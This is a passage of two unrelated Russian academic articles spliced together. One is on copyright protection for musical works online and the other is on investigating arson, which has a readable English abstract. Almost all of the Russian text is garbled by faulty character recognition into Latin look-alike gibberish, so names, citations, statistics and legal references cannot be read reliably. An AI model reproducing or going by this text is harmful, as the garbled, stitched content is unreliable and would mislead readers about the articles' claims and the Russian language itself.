JEWCTBUTEIFHOCTH CBOE BBIPAKCHHE B (JOpPME OPraHM30BAHHBIX TI0 BBICOTE M TI0 BPEMEHH
3BYKOBBIX TIOCJIEIOBaHUI [2].

A. B. AnyxtuH mNOHMMaeT IO MY3bIKAJIbHbIM IPOM3BEIECHHEM: «pE3YJbTaT
MHTEJUIEKTYalIbHOM E€ATEIbHOCTH, YMCTBEHHOTO M TBOPUECKOI'0 BBIPA’KEHHUSI aBTOPCKOT'O TPY/a,
COCTOSIIIIEE U3 3BYKOBBIX KOJ€OaHW, OPraHN30BAHHBIX B ONPEACIEHHOM MOPSIKE IO BBICOTE U
M0 BPEMEHHU, C TEKCTOM WK 0e3, SBISIOTCS 00BEKTOM aBTOPCKUX TPaB MPU YCIOBHUH, €CIIA OHO
BBIPKEHO B KAKOW-JTNOO 00BEKTHBHOM (hopme» [3].

Takum 00pa3oM, NpPOAHATM3UPOBAB MHEHUs YYEHBIX, MOXHO CKa3aTb, 4YTO IOJ
MY3bIKQJIbHBIM TPOU3BEICHUEM MOXHO IOHUMAaTh pPE3YyJIbTaT YMCTBEHHONM U TBOPYECKOMN
JeATeNIbHOCTH, BBIPAKEHHON B OOBEKTUBHON (POpPME M 3aKITFOUAIOIINICA B OPraHU30BaHHBIX IO
BBICOTE U 10 BPEMEHH 3BYKOBBIX KOJI€OaHUH, C TEKCTOM WU O€3 HEro.

[lpexxae dYeM MPUCTYNUTh K AaHAIM3y MpOOJIEeMbl 3alllUThl ABTOPCKUX IMpaB Ha
My3bIKaJIbHbIE TPOM3BEICHHUS B HHTEpHETE, HEOOXOAMMO CHayajla ONpPEAETHUTH CIIOCOOBI HUX
HapyLECHMUS.

Ecnu npoananu3upoBath CyJeOHYI0 IPAKTUKY, TO MOYKHO BBLIEIHUTH CJIEIYIOIINE YacTO
BCTPEYAIOIIHECS CIIOCOOBI HAPYLICHUS:

- HE3aKOHHOE HCIIONb30BaHue 0e3 corjacus MpaBoOONaAaTeNss My3bIKalbHbBIX
NPOU3BEJICHUN MyTeM pa3MELIeHUs] U JOBEJICHUS 10 BCEOOIIEro CBEACHUS B
cetn IHTepHET Ha caiite oTBeTuuKa [4].

- nmpofaka KOHTPAa(aKTHBIX TOBApPOB (IMCKOB, COAEpKAIIMX (HOHOTPAMMBI
MY3bIKQIBHBIX TIPOW3BEACHHI) U CBOOOIHOE pa3MmelieHue B MHTepHET ceTtn
MY3bIKQJIbHBIX TTPOU3BEACHUI [S].

Hcxoms w3 3TOrO, MOXKHO  BBIACTHTH  CJIEAYIOIIME  MPOOJIEMBI  3aIIUTHI
MHTEJUIEKTYaIbHbIX [IPAB aBTOPA Ha MYy3bIKaJIbHbIE ITPOU3BeIeHUS B ceTu «IHTepHET»:

1. OrcyrcTBHEe HEOOXOAMMOrO HOPMATHBHOTO W TIPAaBOBOTO PETYJIMPOBAHUS
MIPABOOTHOIIICHUH B 3TOW 00JIaCTH.
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2.  CioxHocTH B IIpolecce IPaBOIPUMEHEHUS U WICHTU(DUKAMM JIMLL,
HE3aKOHHO pacIpoCTpaHIOIIMX pe3ybTaThl MHTEJUIEKTYalbHOU
NeATEeNIbHOCTH, T.€ MYy3bIKaJIbHbIE IPOU3BE/ICHMUS.

[TpoGiema cOCTOUT B TOM, YTO MY3BIKAJIbHOE MPOU3BEICHUE B JIIOOOH MOMEHT MOXKET
OBITh MCKa)XCHHO, CKAa4€HO, MCIOIB30BaHO 0O€3 paspelieHus: MmpaBooOamaTess, U OTCICIUTh
TAKOTO HAPYILUTENs B OCHOBHOM OBIBAa€T 3aTPyIHHUTENBHO. A IIMPOKOE pacHpOCTpaHEHHe
MY3bIKaJIbHBIX IPOU3BEJICHUN uepe3 HeJerajabHble IUIATGOpMBI U TOPPEHT-CAUTBI 3TOMY
CIIOCOOCTBYIOT U 3TO IIPUBOJIUT K MAaCCOBBIM HAPYIIEHUSM aBTOPCKUX IPaB.

AHOHMMHOCTb I10JIb30BaTENed B MHTEpHETE 3aTPYAHSET BBIABICHHE W NPHBIECUEHUE K
OTBETCTBEHHOCTH Te€X, KTO HApyIIaeT aBTOPCKHE MpaBa. JTO TakKe KacaeTcs Iathopm,
KOTOpBIE MOT'YT YKJIOHATBCSI OT OTBETCTBEHHOCTH 3@ KOHTEHT, 3arpyaeMble M0JIb30BATEISIMH.

MHorue ydeHble BBIACISIOT IPHYMHOM, ¢ KOTOPOH CBs3aHa Mpo0JieMa 3aKOHOIATENILCTBA
B 3alIUTe aBTOPCKOrO IIpaBa Ha MY3bIKaJbHbIE INPOM3BEICHUS C BO3HMKHOBEHHEM HOBBIX
CII0cO00B CBSI3H U Tiepeiaun HHPOPMAIHH.

B nanHoM ciydae, peub UIET O MOsIBIEHUH BceMupHoii cetn «urepuer». A. M. EQTtun
OTMEUAET, YTO «II0JIb30BATENIN I100ATbHON ceTH OECHpEensITCTBEHHO U B OIPOMHBIX 00BEMax
MOT'YT HCIIOJb30BaTh MPHHA/UIEKAIIME aBTOpPaM MY3bIKaJbHbIE MPOU3BENEHUs O€3 coryiacus
camoro aBTopay [6].

T.e. cerp «lMHTepHer» cTupaer reorpaduueckue TpaHULbL  My3bIKAIbHOE
MIPOM3BEICHUE, pa3MEIIEHHOE Ha CcepBepe B OJHOM CTpaHe, MOXET ObIThb JOCTYIHO
[OJb30BATENIM [0  BceMy Mupy. OrmnpeneneHue IOpPUCAMKLMUM W I[IPUBJIEYEHHE K
OTBETCTBEHHOCTH HapyLIMTeNeH, HaXOIAIMXCsd B  pa3HbIX CTpaHax, MpeACTaBIseT
3HAQUUTENIbHBIE  CIOXKHOCTU.  MEXIyHapoIHOE  COTPYJHHYECTBO U  COIVIACOBAHHOCTH
3aKOHO/ATENIbCTBA PAa3HBIX TOCYIApCTB SBJSIIOTCA KpailHe HEOoOXOTUMBIMH, HO IIOKa HeE
JOCTUTHYTBI B ITOJTHON MEpeE.

[Tpu 5ToM, kak otMeuaeT A.M. EdTHH, 310 ocTaetcsi Oe3HaKa3aHHBIM U3-32 OTCYTCTBHUS B
IpaXKJaHCKO-TIPABOBOM ~ MEXaHW3ME HOPMBI, pa3pellalolleil  BOIPOC  MCIOJb30BAHUS
Mpou3BeieHN B MHTepHETe [6]. JlanHas mpobiema ocTaeTcst OTKPBITOM Ha CETOAHSIIHUMN JICHb.
Eme cBoeii pabore HO. JI. Hypoieea u E. C KynpsBueBa Takke OTMEYarOT, 4YTO B
3aKOHO/ATENIbCTBE Ha JaHHBI MOMEHT OTCYTCTBYIOT IPaBOBbIE HOPMBI, KOTOpBIE ObI
PEryJIupoBaId OTHOIIEHHS B TaHHOU cdepe [7].

Eme HYXHO OTMETUTb, YTO 3aKOHOJATENILCTBO IPOCTO HE YCHEBAaeT 3a OBICTPO
Pa3BUBAIOIIMMH  TEXHOJOTUAMH. TEXHOJOTMH pa3BUBAIOTCS ObICTpee, UYeM IPaBOBOE
peryiupoBaHue. OTO CO3Aa€T 3HAUYMUTEIbHBIA JMUCOANaHC M YCIOXKHIET 3a/Jady 3alliThl
aBTOPCKHUX IIPaB.

B Hactosmee BpeMs NOSBISAIOTCA  aBTOMATU3HMPOBAHHBIE CHUCTEMBI, KOTOpBIE
pacrpoCTpaHsIOT HE3AKOHHO MY3bIKAJIbHBIE TIPOU3BEICHHUSI.

Jlannabpie cucteMbl (0OTHI) CIIOCOOHBI 3arpyaTh M PacHpOCTPAHATh OTPOMHBIC 0OBEMBI
MY3bIKaJIbHBIX POU3BEICHNH 0€3 ydacTus yenoBeka. bops0a ¢ 3TUM BHIOM MUpATCTBA TpeOyeT
CHELMAIbHBIX TEXHUYECKUX U FOPUANYECKUX PEILICHHUI.

OTO Bce MNPUBOAMT K MACHITAOHOCTH HapyIIEHUs aBTOPCKUX ImpaB. MHTepHeT
NPEeIOCTaBIseT MPAKTUYECKHM HEOTPAaHUUYCHHBIE BO3MOXHOCTH Ui  KONMPOBaHUS U
pacnpocTpaHeHHs MY3bIKJIBHBIX MPOU3BEICHUIM 0Oe3 paspelieHus aBTOpoB. 3arpyska, oOMeH
¢aiinamMu yepe3 TOPPEHT-CETH, CTPUMHUHI Ha HEJIMLEH3MPOBaHHBIX IUIaTGoOpMax — BCE 3TO
NPUBOANUT K OTPOMHBIM IOTEPSIM ISl TipaBooOaiaTeneil. MacimTaObl HapyIIeHHH HACTOIBKO
BEJIMKH, 4TO O0ph0a ¢ HUMH CTAHOBUTCS CIIOXKHOM 3a/1aueil.

[TonBoast uTor BceMy BBILLIECKa3aHHOMY, CIE€AYET OTMETHTb, YTO JUIS PEIICHUs] 3TUX
npo0JsieM HEeoOXOAMMO KOMIUIEKCHOE MOAXOJ, BKIIOYAIOLIEe YIy4llIeHHE 3aKOHOAATENbCTBa,
MOBBIILIEHUE OCBEJOMJIEHHOCTH TII0JIb30BaTeleld M aBTOPOB O CBOMX IIpaBax, a TaKkKe
COTPYAHUYECTBO MEKAY NPABOOOTIATATENAMHI U TEXHOIOTMUECKUMHU II1aTPOPMaMHU.

B Hacrosiiiee BpeMsi pocCHHCKOE 3aKOHOAATENILCTBO B 00JaCTH aBTOPCKOrO IpaBa Ha
MYy3bIKaJbHbIE IPOM3BENACHUS TpeOyeT pedopMUpPOBaHUS Al TOro, 4TOOBI AAANTUPOBATH
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[IPaBOBbIE HOPMBI K COBPEMEHHBIM METOJaM Iiepeliaud HMHpOpMaluu. OTO IOAYEPKHBAET
HEOOXOIMMOCTh JTJIHEUIIIEr0 YAYYIICHUS] 3aKOHOJATENbHOW 0as3bl, IpPH HTOM BaKHO
YYHATHIBaTh IPpaBa M 3aKOHHBIE MHTEPECHI BCEX CTOPOH, YYACTBYIOLUIMX B aBTOPCKHUX
IIPABOOTHOILICHHUSX.
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AHHOTALUSA

B naHHOIl cTaThe TOBOPHUTCS O TOM, YTO TOKOT OCTaércs OIHUM W3 CaMbIX
pacrpocTpaHEHHBIX CIOCOOOB YHHUUTOXKEHHUS YyKOro mmyiecrsa. OnHaKko, HECMOTpPS Ha 3TO,
OOJIBIIIMHCTBO TAKUX TPECTYIUICHUNA OCTAéTCs HEPACKPBITBIMU. [IPpHUMHON TOMY CITY)KUT
CJIO’KHOCTB Pa0OTHI ClIeI0BATENS U3-32 HEJJOCTATKA YIIHK.

KiwueBble cjoBa: TOMKOT, TOXKap, NHUPOMAaHUs, TMOXKapHas 0e30MacHOCTb,
YMBIIUICHHOE YHUUTOKEHHUE (TTOBPEKICHNE) UMYIIIECTBA.

Abstract

This article says that arson remains one of the most common ways to destroy someone
else's property. However, despite this, most of these crimes remain unsolved. The reason for this
is the complexity of the investigator's work due to a lack of evidence.

Keywords: arson, fire, pyromania, fire safety, intentional destruction (damage) of

property.

B Hacrosiiiee Bpemst HaOIIOACTCSl POCT YMCIIA MPECTYIUICHUH, HAPaBICHHBIX MPOTHUB
cooctBeHHOCTH. Cpeay HUX HauOojee ONACHBIMH U CEphE3HBIMU 10 CBOUM IOCIEICTBHSIM
SBJISIIOTCS TIPECTYILICHUS], CBSI3aHHBIE C MOKOraMU. 3a IOCIEIHEE AECSITWIETHE MPOU30LLI0
MHOKECTBO MOXKapoB, yIIEpO OT KOTOPHIX TPYJHO OLEHNUTh. KOIMUecTBO MOCTpaiaBIInX TaKxKe
yBenuuuBaeTca. OJHAKO MPECTYIUICHHs, CBSI3aHHbIE C IOJKOTaMH, OTHOCSTCA K KaTeropuu
NPECTYIUIEHUH € HM3KOH pacKpbhIBAEMOCTBIO M3-32 CIIOXKHOCTH Ipoliecca JOKa3bIBaHUS U
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KBaJIM(UKALUK npecTymienus. 11o1roToBka K COBEpIICHHUIO TaKUX MPECTYIUIEHUH, CTAHOBUTCS
BcE OoJiee MpoyMaHHOW M IOATOTOBJIEHHOIA. [ 1, c. 3]

Ananu3 paboThl crefoBaTened  MOKas3blBAa€T, 4YTO HAa II€PBOHAYAIBHOM 3Tare
pacciieioBaHus 10 JieJlaM 3TOi KaTeropuy 4acTo JOIMycKatoTcst omMOku. B wactHocTH, ocMOTp
MecTa IPOUCIIECTBUSI HEPEIKO MPOBOJUTCS HEOPEXKHO, Clelbl HE COOMparoTcsi, He
MIPEANPUHUMAIOTCSI MEPBI I7Is1 YCTAHOBJIEHUS IPUYMH Bo3ropanus. [Ipy nposeneHnu noxapHo-
TEXHUYECKOM IKCIIEPTH3BI, IPEAOCTABIIAIOTCSA HE BCE O0BEKThI UCCIIEA0BAHUS, YTO HE IT03BOJIET
JKCIIEPTY JaTh YETKUN U apryMEHTUPOBAHHBIN OTBET.

OmHMM U3 OCHOBHBIX METO/I0B YHUUYTOXKEHHMS TOCYJIApCTBEHHOIO M YacTHOTO
HMYIIECTBA, a TAK)KE LIEHHBIX JIOKYMEHTOB, XpaHAIIMXCS B apXMUBaX, Ha CKJIa/1aX, B KApTOTEKax
OOJIBHUIL U IPYTUX TOCYJApCTBEHHBIX YUPEXKICHNUI, a TaKke IOKYMEHTOB, KOTOPBIE MOTYT CTaTh
Ba)KHBIMHM JI0Ka3aTEJILCTBAMU B JI€JIE, SIBJISIETCS ITOJIXKOT.

[Tpouenypa npuMeHEHUsI HOPM YroJOBHOrO IpaBa YycraHOBieHa IloctaHoBieHueM
[Tnenyma BepxoBaoro Cyna Poccuiickoit @enepanun ot 5 urons 2002 rona Ne 14 «O cynebHoii
IpakTUKe M0 JejdaM O HapyLUIeHUM MpaBWI MOXApHOW Oe30MacHOCTH, YHUUTOKEHHU WIH
HOBPEXICHUU MMYILECTBA IIyTeM HOKOora JMOO B pe3ysbTaTe HEOCTOPOXKHOIO OOpalleHHs ¢
OrHEM». (C M3MEHEHMSMH M JIOTIOJHEHHSIMHU, BHECEHHBIMH MOcTaHOBiIeHUsAMU [lnenyma ot 18
okTsa0ps 2012 1. Ne 21) [2, c. 2]

XapakTepuCTHKa JIaHHBIX IPECTYIIEHUMH HENOCPEICTBEHHO CBA3aHO C TaKUMH
MIPU3HAKaMU OOBEKTUBHON CTOPOHBI MPECTYIUIEHUS, KaK CIOC00, MECTO, BpeMsi U 0OCTaHOBKa
COBEpPLICHHUSI NPECTYIUIEHHS, a TAK)KE€ CBOMCTBAMH JIMYHOCTH IIPECTYNHHUKA W HACTYIUBIIUMU
HOCJIEICTBUSIMHL.

B xone paccrnenoBaHMs NPECTYNJICHUN JAaHHOM KaTErOpPHU KIIIOUEBOE 3HAYEHHUE UMEET
YCTQHOBJICHWE TEXHUYECKON MPUYMHBI BO3HHKHOBEHMS MOXapa. JTO CBA3aHO C TEM, YTO B
OOJIBIIMHCTBE CIIy4yaeB MaTepHAIbHBIE CIIEIbl YHHYTOXAIOTCS, YTO 3aTPyIHSET Npolecc
pacciie1oBaHuysl.

Haubonee pacnpocTpaHeHHBIMH NPUYMHAMH TI0KAapOB  SIBISIIOTCSA  HCIIOJIB30BAHUE
OBITOBOM M CHEIMalIbHOM TEXHHWKH, CaMOBO3TOpaHHE BEUIECTB U OOOpYIOBaHUS, TPO30BHIE
paspsizibl MOJIHUM, HapyIlIeHHne MPaBHJT 0OpaIeHHsI C OTHEM M YMBIIUICHHBIN MTOJHKOT.

B 3aBucumocTH 0T crioco0a coBEpILIEHMS, MMOJKOTH MOKHO KJIacCU(PULIMPOBATh Ha MATh
OCHOBHBIX THIIOB:

. CrioHTaHHbIE TOKOTH: TaKHe IOXKapbl MPOUCXOIAT 0e3 MpenBapUTeIbHON
NOATOTOBKM, KOTJAa B  YCIOBHUSX, CIOCOOCTBYIOIIMX  BO3TOpaHUIO,
CKaIlIMBAIOTCS JIETKOBOCIIIIAMEHSIOIIMECS] MATEPUAIIBL.

. Ilomxorn ¢ KCHOIB30BAaHUEM JAOINOJIHMUTENIBHBIX TOPIOUMX MaTepHajoB: B
TaKMX CIydasX A YCWIEHHs IUIAMEHH NPUMEHSIOTCS JIONOJHUTEIbHbIE
BEILIECTBA W MAaTEPUAJIBI.

. [Tomxoru ¢ MpUMEHEHHEM CHELUATBHBIX TEXHUYECKUX CPEACTB: 3TU MOXKaphl
OpPraHu3yIOTCS C HCIIOJIb30BAHUEM TEXHUUYECKHX YCTPOWCTB, KOTOpBIE
o0ecreunBaroT TOYHOE BPEMsI BOCILIIAMEHEHMSI.

. [lomxory, UMHUTHPYIOIIME HEYMBIIIJIEHHOE HAapyIIEHUE IpPaBWI IMOKapHOU
0€30MacHOCTH: TaKhe MOXapbl CO3JAIOTCA B YCIOBHUSX, KOTOpPbIE CO3IAIOT
BUJIUMOCTb HEOCTOPOYKHOTO OOpAIeHUs] ¢ OTHEM WJIM HApyLICHUs] TpPaBHII
HO>KapHON 0€30MacCHOCTH.

J1J11 TOYHOTO HCCIeI0BaHUs JOKA3aTEIbCTB M0 A€y, IPUBJIEKAIOTCS SKCIIEPTHI U IpYTHe
CIeLMalInuCThl B oOsacTu mokapHoM Oe3omacHocTH. Ilepen skcmepramu CTOMT 3ajada
MPOU3BECTU CYAEOHYIO MOKAPHO-TEXHIUECKYIO dKcrepTu3y. Ilepen cnenpanucTaMu BOSHUKAET
Pl BOMPOCOB: KOTJA@ IPOM30ILIO BO3rOpaHMe, TIJle HaXOAWJCA OSIULEHTpP MoKapa, 4Tro
MOCTY>KWIO MPUYUHONW BO3ropaHus, ObUIM JIM HapyUIEHUs NpaBWJI MOXKapHOW O€30MacHOCTH, U
€cIM J1a, TO KaKue UMEHHO, SIBJISIFOTCSA JIM OBITOBBIE WM HMHbIE TEXHMYECKUE YCTpOICTBa
MOTEHIMAIBHO ONIACHBIMHU B IIaHE BO3TOPAHMsI U MOTJIM JIM OHHM CTaThb UCTOYHHMKOM HoXkapa. |3,

c. 30]
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B ciywasx, korma €cTh OCHOBaHHMS IMPEAIOJAraTh, Y4TO IMOXAp BO3HUK B PE3YNIbTATE
YMBIIUICHHBIX ﬂeﬁCTBHﬁ, HallpaBJICHHBIX Ha €ro BO3HHWKHOBCHUC, BO36y)KI[aeTC5I YroJIOBHOC
neno. Taxke nemo Bo30yXKmaeTcsi, €cid B pe3ylbTaTe ToXKapa MOCTPaNald IO, OB
MPUYMHEH 3HAYUTENBHBIA yIepd WM HACTYIIIM WHBIC TSOKKHE TIOCIIEACTBUS, a TaKkKe €Cld
Mo>kap MPUOOPEN XapaKTep CTUXUAHOTO OeAcTBUsA. {7151 BO3OYKICHHUS YTrOJIOBHOTO Jejia MOT'YT
MOCITYKUTb 3asiBJICHUC IOTCPIICBIICTO, AKT O IIOXKAapC WM aKT, COCTAaBJICHHBIN BeﬂOMCTBeHHOﬁ
KOMHCCHEH, B KOTOPBIX COJEPIKATCS CBEICHUSI, YKA3bIBAIOIINE HA TTPU3HAKH MIPECTYIIIICHUSL.

B xoxe paccrnemoBaHus e 0 MOKOTaX YCTAHABIUBAIOTCS CIEAYIONTNE (DaKThI:

. XapakTepucTUK O0BEKTa, KOTOPBI MOJBEPrcs IOHKOTY, YCIOBHS, B
KOTOPBIX MPOUCXOAMI TOXKAP.

. Bpewmst Hauasia M OKOHYAHHMS MOXKapa, €ro0 MacIITad, THTEHCUBHOCTH TOPEHHS
Y HarpaBJIeHUE PACIPOCTPAHEHHS OTHSI.

. Kaxne MaTepunaisl 1 BeIeCTBAa HAXOIWIHCH B TOMEIEHHH M CIOCOOCTBOBAIIN
PacIpOCTPaHEHUIO OTHSL.

. KonmuectBo mozel, KOTopble HAXOAWINCH B IOMEIICHHH B MOMEHT Hadalia
noxapa, ¥ Ux cyapoa.

. MarepuanbHbIi yep0 u Ipyrue MocieICTBUS oXKapa

. MecTo, criocod 1 cpeacTBa, ¢ OMOIIBI0 KOTOPBIX ObLIT COBEPIIEH MOIKOT.

B cinyyae momxora HEOOXOJMMO YCTaHOBUTH €ro I1€jb, MPUMEHSEMBbIE METOIbl U
MHCTPYMEHTBI, TTOCJIE/ICTBHS, KOJMUECTBO JKEPTB, & TAK)KE MOTHBBI M 00CTOSATENIBCTBA, KOTOPhIE
TIPUBEIH K COBEPIICHHUIO 3TOTO MPECTYIUICHUS.

Ecnu nprunHO# mokapa CTaio HapylleHHe MpaBWiI MOKapHOW O€30MacHOCTH, HYKHO
OIIPENIeNUTh, KaKhe MMEHHO IMpaBuUiia ObLUIM HApyIIEHBI, KaK 3TO MPOSBUIOCH, €CTh JIM MpsMas
CBSI3b MEK/Y HapyIIEHUEM U TI0KAPOM, KTO HECET OTBETCTBEHHOCTH 3a 3TH HapyILLIEHUsI, IOYEMY
OHU TPOU3OIILTH U KaKHe YCIOBUS CIIOCOOCTBOBAIM COBEPILICHUIO MPECTYIUICHUSL. [4, . 25]

PaccnenoBanue nokapoB M IMOJXKOTOB — 3TO CJIOXHBIM M MHOTOTPaHHBIA IMpolLiecc,
KOTOPBIH TpeOyeT ocoboro BHUMaHUs U mpodeccronann3ma. CIoKHOCTh paboThl 00yCIOBIECHA
TEM, YTO B pe3yJbTaTe MOXapa YHUUTOXKAIOTCS MHOTHE BELIECTBEHHBIE OKA3aTENbCTBA, a
MO/DKUTATENI 4YacTO TPUOETaloT K YXHUIIPEHUSM, YTOOBI CKpPBITh CBOIO MPUYACTHOCTH U
WCTUHHYIO TPUYMHY BO3ropanus. Jlaxke eciam OOBEKT MOJHOCTHIO YHHUUYTOXKEH, BCET/Ia €CTh
BEPOSTHOCTh HAWTH YIHMKH, TPEAMETHl WM JIOKYMEHTHI, KOTOpbIE TOMOTYT YCTaHOBHTH
MIPUYHMHY BO3TOPaHUsI U, BO3MOKHO, Ja)K€ BBIIBUTH BUHOBHBIX.

CoTpyaHMKM IPAaBOOXPAHUTENIBHBIX OPraHOB MPHUCTYNAIOT K MPOBEIACHUIO NEPBUYHBIX
OIEPaTUBHO-PO3BICKHBIX MEPOIPUATHI cpa3y IMocie Hayaja pacclieloBaHus, a MHOTJAA U JI0
Hero. Tak, Hampumep, HEOOXOAMMO OIPOCHUTH BiaJeNblia MMyIIecTBa. s paccienoBaHus
HanOoJiee 3HAUMMbIMU SIBJISIFOTCS TAHHBIE O TOM, /1€ HaXOAWJICS Biajeliel] UMYILECTBa 10 U BO
BpeMs 1o’kapa, a Takke MH(OpMaLus 0 ero CeMEHHOM MOJIOKEHNHU, MaTepUaIbHOM JIOCTATKe,
Kpyre OOILEHMS, OTHOLICHHUSX B KOJUIEKTHBE M BO3MOYKHBIX I10JI03PEBAEMBIX B COBEpPLICHUU
IIPECTYIUICHUSL.

B cnyyae, ecnu y COTpYIHHMKOB ONEPATUBHBIX CIY:KO WM CliefoBarens MHOSBISETCS
IIPEATOJIOKEHUE O BO3MOYKHON INPUYACTHOCTH K IOJDKOTY JIML, KOTOPHIM INPUHAIJICKUT WIU
ObUI0O BBEPEHO HMYILIECTBO, MOCTpajaBlIee OT IOKapa, OHM HAUYMHAIOT CJIEIUTh 33 HX
IIOBEJICHUEM Ha MecTe npoucuiecTBus. [lopoil oueBHALBI MOIYT yKa3aTb Ha KOHKPETHOIO
YeJoBeKa WIM OMNKMCaTh €ro BHELIHOCTh W OAEXKAy. B Takumx curyauusix ecTb BEpOSITHOCTh
PacKpBITh JIENI0 ONIEPATUBHO, 110 «TOPAYUM CIIETAM.

B cinyyae momkora HeoOXOAMMO HE3aMEJIUTENbHO IIPOBECTU PAL MEPONPHUSTHIA:
IIPOBECTH OCMOTP MECTa IIPOMCLIECTBUS, OINPOCUTH CBUAETENIEH, IOCTPafaBIIUX U
MpeACTaBUTENCH aJIMUHHUCTPAlUN OOBEKTa, HA3HAUUTH CyAeOHO-MEIUIMHCKYIO 3KCIEPTHU3Y,
€CIIM Ha MECTe TI0)Kapa OOHApyKEHbI TeJa WIIH JIFOJU C TPaBMaMHU.

Ecnu nmomo3peBaeMblii yKe U3BECTEH, TO B paMKaX CPOYHBIX CIIEACTBEHHBIX JIEUCTBHI
MIPOBOJATCS: 3aJ€pKaHUE TOA03PEBAEMOr0, €r0 JONPOC, MEIULIMHCKOE OCBHJIETEIBCTBOBAHMUE,
OOBICK.
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Ecnu ecte npennonokeHue, 4To MOXKap BO3HHMK H3-3a HEHCIIPABHOCTH TEXHUYECKOIO
00opyoBaHus, JTMOO APYIUX HE KPUMUHAIBHBIX IPUYMH, TO CJIEJOBATENb JODKEH ONPEICIIUTh
KaKOW MMEHHO 3TO ObLI MpEeIMET, B CIEICTBUM YEro Mpou3oILel noxap. B ciaydae, ecim noxap
BO3HUK B TIOMEIIEHUH CKJIaJa C IEHHBIMH OyMaramu, Wil B MHBIX OXpaHAEMbIX OOBEKTaX, WIN
€cIM IOMHMO II0oJKapa HMEIOTCS TPYIbl JIOAEH € NPU3HAKAMHU HACUIbCTBEHHOW CMEpTH,
CIIEZIOBATENb MOJMKET MPEANONIOKUTh O NPECTYIMHOM [ESHUM, M PACCIENOBaTh Jayee I0
cymecTBy. Kak rnpaBuiio, mpy NOAKOrax UMEIOTCs CIIebl TOPIOYMX U JIETKOBOCIIIIAMEHSIOLIUXCS
BEILIECTB, YTO MOXKET OOJICTUUTh KBATU(UKAIIUIO AesHus. [5, C. 38]

B xone paccnenoBanus OyyT BBIOIHEHBI CIIEAYIOLIME ICHCTBHA:

1.  Ananu3 matepuasioB, COOpaHHBIX Ha HAUaJIbHOM 3TaIlle PacCieJOBaHUsL.

2.  DKCHepTHbIE 3aKJIFOUYEHHUS 10 CJIE/IaM U BELIECTBEHHBIM JIOKA3aTeIbCTBAM.

3. ®opmupoBaHHE OMOIHUTEIBHBIX, APIYMEHTHPOBAHHBIX BEPCHH HAa OCHOBE
UMEIOIINXCS TAaHHBIX.

4.  JlomomHWTENbHBIA OCMOTpP MeCTa IPOUCILIECTBHS M  IPUIEraroueit
TEPPUTOPUH, KOTOPHIM MOXKET J1aTh HOBYIO MH(OPMALIUIO O MPECTYIUICHUU U
€ro y4aCTHHUKaX.

5. OpueHTanust Jpyrux CiIayx0 M TOJpa3JaeNeHuil MpaBOOXPAHUTETBHBIX

OpraHOB Ha PACKPBITHE MPECTYIICHUSL.

OnoBelieHue HaceIEHHs Yepe3 CpeIcTBAa MAaCCOBOM MH(popmanuu.

7. W3yuenuwe u anamu3 uH(oOpManMu, cojaepKalleiics B apXUBHBIX YTOJOBHBIX
Jiefiax O IMPECTYIJICHUSIX, COBEPLIEHHBIX aHAJIOTMYHBIM 00pa3oM, B TOM K€
MECTE U IPU CXOKHX 00CTOATEIIbCTBAX.

S

8.  3ampoc uHpoOpMaK U3 METUIMHCKUX YUPEXKIECHUN O JULaX, OOPaTUBILIUXCS
3a MIOMOILBIO C TPABMaMHM M 0’KOT'AMHU.
9. 3Bampoc uHpOpMaAIMKM O TOXapax, M3y4eHHE HMEIOIIMXCS MaTepHajoB C

MIPUBJICYCHUEM CITCITHAJIFICTOB.
10. TloBTOpHBIE TOMPOCHI CBUAETENEH, TOTEPIEBIINX U TOI03PEBAEMBIX, €CIIH ATO
HEOOXOINMO.
11.  OObIckH, CNIEICTBEHHBIE YKCTIEPUMEHTHI M Pa3IMYHbIE BUIBI SKCIIEPTH3.
B 3aga4u KpI/IMI/IHOJ'IOl"a BXOOUT TIIATCJIBHOC HUCCICOAOBAHUC FJTY6I/IHHBIX MOTHBOB,

KOTOpbIE TIPUBOJIAT JIFOJICH K COBEPIICHUIO MOHKOTOB. J[J1s1 3TOro HeoOX0AMMO MPOBECTH aHAJIH3
HO6y7KI[CHHfI, IIpyuHUMAas BO BHHUMAaHUC MHOXKCCTBO p33H006pa3HI)IX BHCIIHUX O6CTO$IT€J'II)CTB,
BO3JICHCTBYIOIIMX HA JTUYHOCTS. [6, C. 46]

Llens 310YMBIIUIEHHHKA MOET OBITh MPSIMON — MONY4YEHHUE MaTepUalIbHOW BBITOJIbI
(HampuMep, MOIICHHWYECTBO B c(epe CTpaxOBaHUs, pa3pyIICHHE YaCTHOW COOCTBEHHOCTH,
YHUYTOKEHHUE HMMYIIECTBa KOHKYpEeHTa W T. A.). Wnu ke oHa MOXeT ObITh KOCBEHHOM —
YHUYTO)KEHHUE YIUK, CBA3aHHBIX C JIPYTMMU MPECTYIICHUSIMU (KpaskaMu, yOMICTBAMH U T. II.),
HJIA KC CTPEMIICHHC n30eKaTh HaKa3aHUs (HOI[)KOF HOMemeHHﬁ, TAC XpaHATCA YT'OJIOBHBIC JICJIa
1 BEILIECTBEHHBIE JI0OKA3aTEIbCTBA).

Cpenu Tex, KTO COBEpUIMI IOJKOTH, OOJIBIIMHCTBO COCTaBISIIOT MYXKYMHBL Jlois
YKCHIIMH CPE/IM TAKHUX MPECTYIMHUKOB — IpuMepHo 10-12%.

Ecnu ananu3upoBaTh BO3PacT MPECTYIMHUKOB, TO MOHO YBHIETh, YTO Yallle BCETO
MPECTYIUICHHUS COBEPILIAIOT JIIOIU B Bo3pacTe oT 14 1o 29 ner. Pexe Bcero — te, KoMy Oosblie
50 net. A BOT caMas BBICOKAsi KpUMUHAJIbHASI aKTUBHOCTh — y MPECTYITHUKOB B BO3pacTte 110 25
JIeT.

YpoBeHb penuauBa (MMOBTOPHOTO COBEPIICHUS MPECTYIUICHHsI) HAMOOJIee BBICOK Y TEX,
KTO COBEpIIMI TSKKUE TeJEeCHbIe MOBPEXICHUs, H3HacwioBaHus (okono 50%), a Takke
rpabexu u pazdon (okoso 40%).

CyiiecTByeT Takoe SIBIEHHE — MHUPOMaHMA. OJTO HApYyLUIEHHEM ICHUXUKH, KOTOpPOE
MIPOSIBIISICTCS. B HEKOHTPOJIMPYEMOM JKEJIaHUU COBEPIIATH MOHKOTH M B UPE3MEPHOM HHTEpECe K
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co3eplianuio OrHs. Hekotopwle Bpauu, OTHOCAT ee K ¢opMaMm MH30(PEHHUH, KOTJa IO
JICWCTBUEM «T'OJIOCOB B TOJIOBEY JIFOJM MOTYT COBEPILIATh IPOTHBOIPABHBIC ICHCTBHS.
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AHHOTALUSA

